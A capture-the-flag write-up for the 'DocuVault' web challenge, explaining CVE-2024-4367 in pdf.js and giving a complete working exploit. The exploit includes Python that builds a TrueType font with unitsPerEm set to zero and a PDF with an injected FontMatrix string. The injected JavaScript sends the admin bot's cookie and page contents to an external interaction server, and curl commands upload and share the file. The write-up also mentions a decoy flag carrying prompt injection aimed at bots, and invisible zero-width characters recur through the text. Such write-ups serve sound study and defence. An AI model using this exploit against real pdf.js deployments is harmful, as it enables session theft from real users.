← Back to Writeups
HTBN/AWeb

DocuVault — Stored XSS via Malicious PDF (CVE-2024-4367)

XESXOR8/23/20268 min read
#web#htb#n/a#CVE-2024-4367

DocuVault — Stored XSS via Malicious PDF (CVE-2024-4367)

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-31 | Status: Solved Techniques: cve_2024_4367_pdfjs_fontmatrix_injection, truetype_unitsperem_zero_bypass, text_rendering_mode_add_to_path, stored_xss_via_pdf_upload, admin_bot_cookie_exfiltration, interact_server_path_exfiltration, honeypot_flag_detection

Summary

Task: Document sharing platform with in-browser PDF rendering via pdf.js 4.1.392, admin bot reviews shared documents. Solution: CVE-2024-4367 — inject JavaScript via malicious FontMatrix string in PDF font dictionary, exfiltrate admin cookie containing flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260531_hackadvisor_docuvault
  • Tags: xss, javascript, stored_xss, pdf, express, admin_bot, pdfjs, cve_2024_4367, font_injection, truetype
  • Indicators: pdf.js version < 4.2.67 used for in-browser PDF rendering, admin bot opens user-shared document previews, FontMatrix array in PDF font dictionary without numeric validation, new Function() eval in getPathGenerator(), flag stored in admin cookie
  • Source: 20260531_hackadvisor_docuvault.md

Foothold

Vulnerability / Misconfiguration

  1. Cve_2024_4367_pdfjs_fontmatrix_injection
  2. Truetype_unitsperem_zero_bypass
  3. Text_rendering_mode_add_to_path
  4. Stored_xss_via_pdf_upload
  5. Admin_bot_cookie_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • cve_2024_4367_pdfjs_fontmatrix_injection
  • truetype_unitsperem_zero_bypass
  • text_rendering_mode_add_to_path
  • stored_xss_via_pdf_upload
  • admin_bot_cookie_exfiltration
  • interact_server_path_exfiltration
  • honeypot_flag_detection
  • Tags: xss, javascript, stored_xss, pdf, express, admin_bot, pdfjs, cve_2024_4367, font_injection, truetype

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DocuVault is a document sharing platform built by Vaultstream Technologies where teams can upload, preview, and collaborate on files. The application features in-browser PDF rendering for document previews, user workspaces, and a sharing system with admin review. When users share a document, it is queued for administrator review. An admin bot periodically opens shared document previews to check for policy compliance. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A document sharing platform renders uploaded PDFs in-browser using pdf.js. Users can share documents for admin review — an admin bot (HeadlessChrome) opens the preview page. The goal is to execute arbitrary JavaScript in the admin's browser and exfiltrate the flag from their cookie.

Credentials: user@test.com / password123

Analysis

Reconnaissance

  • Stack: Express.js behind nginx/1.25.5
  • PDF viewer: pdf.js version 4.1.392 (apiVersion from pdf.min.js)
  • CVE-2024-4367: Affects pdf.js < 4.2.67 — arbitrary JavaScript execution via FontMatrix injection
  • Admin bot: HeadlessChrome/124.0.0.0, visits shared document preview pages
  • Flag location: Admin bot's cookie (FLAG=FLAG{...})
  • Decoy flags: HTML source contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection — honeypot, must be ignored ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

CVE-2024-4367 Vulnerability Deep Dive

The vulnerability is in pdf.js's getPathGenerator() method in the main thread. When rendering font glyphs, pdf.js compiles glyph path commands into a JavaScript function via new Function():

// pdf.min.js - getPathGenerator
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
  const jsBuf = [];
  for (const current of cmds) {
    const args = current.args !== undefined ? current.args.join(",") : "";
    jsBuf.push("c.", current.cmd, "(", args, ");\n");
  }
  return this.compiledGlyphs[e] = new Function("c", "size", jsBuf.join(""));
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The cmds array includes a transform command whose args come from the font's fontMatrix:

// font_renderer.js - compileGlyph
const cmds = [
  {cmd: "save"},
  {cmd: "transform", args: fontMatrix.slice()},
  {cmd: "scale", args: ["size", "-size"]}
];

For TrueType fonts, FontRendererFactory.create determines the fontMatrix:

if (glyf) {
  const fontMatrix = !unitsPerEm
    ? font.fontMatrix  // <-- uses dict value when unitsPerEm = 0
    : [1/unitsPerEm, 0, 0, 1/unitsPerEm, 0, 0];
  return new TrueTypeCompiled(parseGlyfTable(glyf, loca, indexToLocFormat), cmap, fontMatrix);
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

When unitsPerEm = 0, it falls back to font.fontMatrix which comes from the PDF Font dictionary via dict.getArray("FontMatrix")without any numeric validation. A PDF string element (...) in the FontMatrix array is returned as a JavaScript string and injected raw into the new Function() body.

Why TrueType (not CFF/OpenType)

CFF fonts always override properties.fontMatrix from the CFF DICT defaults — even when FontMatrix is absent in the PDF dict, getByName("FontMatrix") returns the default [0.001, 0, 0, 0.001, 0, 0]. The dict FontMatrix is never used. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

TrueType's checkAndRepair does NOT modify fontMatrix, and setting unitsPerEm = 0 forces the renderer to use the dict value directly.

Why Text Rendering Mode 4

Without it, getPathGenerator() is only called when font.disableFontFace is true (which it isn't by default). Text rendering mode 4 (4 Tr = fill + add to path) sets the ADD_TO_PATH_FLAG which unconditionally triggers the vulnerable code path regardless of disableFontFace.

Solution

Step 1: Build TrueType Font with unitsPerEm = 0

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Create a minimal valid TTF with fonttools containing an 'A' glyph, then binary-patch the head table's unitsPerEm field (offset 18 within the table) to 0:

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
import struct

upm = 1000
fb = FontBuilder(upm, isTTF=True)
fb.setupGlyphOrder([".notdef", "A"])
fb.setupCharacterMap({0x41: "A"})

pen = TTGlyphPen(None)
pen.moveTo((50, 0)); pen.lineTo((300, 700)); pen.lineTo((550, 0)); pen.closePath()
a_glyph = pen.glyph()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

pen2 = TTGlyphPen(None)
pen2.moveTo((0, 0)); pen2.lineTo((0, 700)); pen2.lineTo((500, 700)); pen2.lineTo((500, 0)); pen2.closePath()

fb.setupGlyf({".notdef": pen2.glyph(), "A": a_glyph})
fb.setupHorizontalMetrics({".notdef": (600, 0), "A": (600, 50)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupNameTable({"familyName": "InjTTF", "styleName": "Regular"})
fb.setupOS2(); fb.setupPost(); fb.setupDummyDSIG()
fb.font.save("inj.ttf")

# Patch unitsPerEm to 0
data = bytearray(open("inj.ttf", "rb").read())
num_tables = struct.unpack_from(">H", data, 4)[0]
for i in range(num_tables):
    rec = 12 + i * 16
    if data[rec:rec+4] == b"head":
        head_off = struct.unpack_from(">I", data, rec + 8)[0]
        struct.pack_into(">H", data, head_off + 18, 0)  # unitsPerEm = 0
        break
open("inj_upm0.ttf", "wb").write(bytes(data))

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Craft the Injection Payload

The FontMatrix injection string breaks out of c.transform(...) and injects arbitrary JS:

FontMatrix: [0.001 0 0 0.001 0 (0\); <JS_PAYLOAD> ; c.transform\(0)]

This produces valid JS in the eval'd function body:

c.save();
c.transform(0.001,0,0,0.001,0,0); <JS_PAYLOAD> ; c.transform(0);
c.scale(size,-size);
// ... rest of glyph commands

The JS payload exfiltrates data to the HackAdvisor Interaction Server via URL paths (not query params, since the interact server only logs paths): ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

var b='http://interact/<UUID>';
function s(p,d){
  try{
    new Image().src = b+'/'+encodeURIComponent(p)+'/'+encodeURIComponent((d||'').substring(0,800));
  } catch(e){}
}
s('cookie', document.cookie);
s('url', location.href);
['/','/flag','/admin','/profile','/dashboard'].forEach(function(u){
  fetch(u, {credentials:'include'})
    .then(function(r){ return r.text(); })
    .then(function(t){ s('page'+u, t.substring(0,800)); })
    .catch(function(e){});
});

Step 3: Build the Malicious PDF

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

#!/usr/bin/env python3
"""CVE-2024-4367 PoC — Full exploit PDF generator"""
import struct

UUID = "9e88b2bc-b4cf-44e3-a3b6-6a2a7a71b2f3"
INTERACT = f"http://interact/{UUID}"

JS = (
    "var b='" + INTERACT + "';"
    "function s(p,d){try{new Image().src=b+'/'+encodeURIComponent(p)+'/'+encodeURIComponent((d||'').substring(0,800));}catch(e){}}"
    "s('hit','1');s('cookie',document.cookie);s('url',location.href);"
    "['/','/flag','/admin','/profile','/dashboard'].forEach(function(u){"
    "fetch(u,{credentials:'include'}).then(function(r){return r.text();}).then(function(t){s('page'+u,t.substring(0,800));}).catch(function(e){});"
    "});"
)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

INJ = "0); " + JS + " c.transform(0"

def pdf_str_escape(s):
    return s.replace("\\", "\\\\").replace("(", "\\(").replace(")", "\\)")

INJ_ESC = pdf_str_escape(INJ)
otf_data = open("inj_upm0.ttf", "rb").read()

class PDFBuilder:
    def __init__(self):
        self.objects = []
    def add(self, data):
        self.objects.append(data)
        return len(self.objects)
    def build(self):
        header = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
        body = b""
        offsets = []
        for i, obj in enumerate(self.objects):
            offsets.append(len(header) + len(body))
            body += f"{i+1} 0 obj\n".encode() + obj + b"\nendobj\n"
        xref_offset = len(header) + len(body)
        n = len(self.objects) + 1
        xref = f"xref\n0 {n}\n".encode() + b"0000000000 65535 f \n"
        for off in offsets:
            xref += f"{off:010d} 00000 n \n".encode()
        trailer = f"trailer\n<< /Size {n} /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n".encode()
        return header + body + xref + trailer
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

pdf = PDFBuilder()
# 1: Catalog
pdf.add(b"<< /Type /Catalog /Pages 2 0 R >>")
# 2: Pages
pdf.add(b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
# 3: Page
pdf.add(b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] "
        b"/Resources << /Font << /F1 4 0 R >> >> /Contents 6 0 R >>")
# 4: Font with malicious FontMatrix
font_matrix = f"/FontMatrix [0.001 0 0 0.001 0 ({INJ_ESC})]"
pdf.add(f"""<< /Type /Font /Subtype /Type1 /BaseFont /InjFont 
/FirstChar 65 /LastChar 65 /Widths [600] /FontDescriptor 5 0 R
{font_matrix}
/Encoding << /Type /Encoding /Differences [65 /A] >> >>""".encode())
# 5: FontDescriptor with FontFile2 (TrueType)
pdf.add(b"""<< /Type /FontDescriptor /FontName /InjFont /Flags 4
/FontBBox [0 0 600 700] /ItalicAngle 0 /Ascent 800 /Descent -200
/CapHeight 700 /StemV 80 /FontFile2 7 0 R >>""")
# 6: Content stream — text rendering mode 4 forces getPathGenerator
cs = b"BT /F1 50 Tf 4 Tr 50 100 Td (A) Tj ET"
pdf.add(b"<< /Length " + str(len(cs)).encode() + b" >>\nstream\n" + cs + b"\nendstream")
# 7: Embedded TrueType font (unitsPerEm=0)
pdf.add(b"<< /Length1 " + str(len(otf_data)).encode() +
        b" /Length " + str(len(otf_data)).encode() +
        b" >>\nstream\n" + otf_data + b"\nendstream")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

with open("exploit.pdf", "wb") as f:
    f.write(pdf.build())

Step 4: Upload, Share, and Exfiltrate

# Login
curl -c cookies.txt -X POST https://<target>/login \
  -d "email=user@test.com&password=password123"

# Upload malicious PDF
curl -b cookies.txt -X POST https://<target>/documents/upload \
  -F "file=@exploit.pdf"

# Share document for admin review
curl -b cookies.txt -X POST https://<target>/documents/<doc-uuid>/share

The admin bot visits the preview page → pdf.js renders the malicious PDF → getPathGenerator() evals the FontMatrix injection → JavaScript executes in admin's browser → cookie exfiltrated to interact server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Retrieve Flag from Interact Server

The interact server logged the admin bot's request:

GET /9e88b2bc-.../cookie/FLAG%3DFLAG%7BREDACTED%7D

Decoded: FLAG=FLAG{REDACTED}

Failed Approaches

  • CFF/OpenType font: CFF DICT always provides a default FontMatrix ([0.001, 0, 0, 0.001, 0, 0]) that overrides the PDF dict value — injection never reaches getPathGenerator()
  • Query parameter exfiltration: HackAdvisor's Interaction Server doesn't log query strings, only request paths
  • Type1 font with FontMatrix in PFA: readNumberArray() uses parseFloat() which sanitizes string values to NaN, preventing injection
  • Submitting decoy flag: HTML source contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — a honeypot with prompt injection text ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR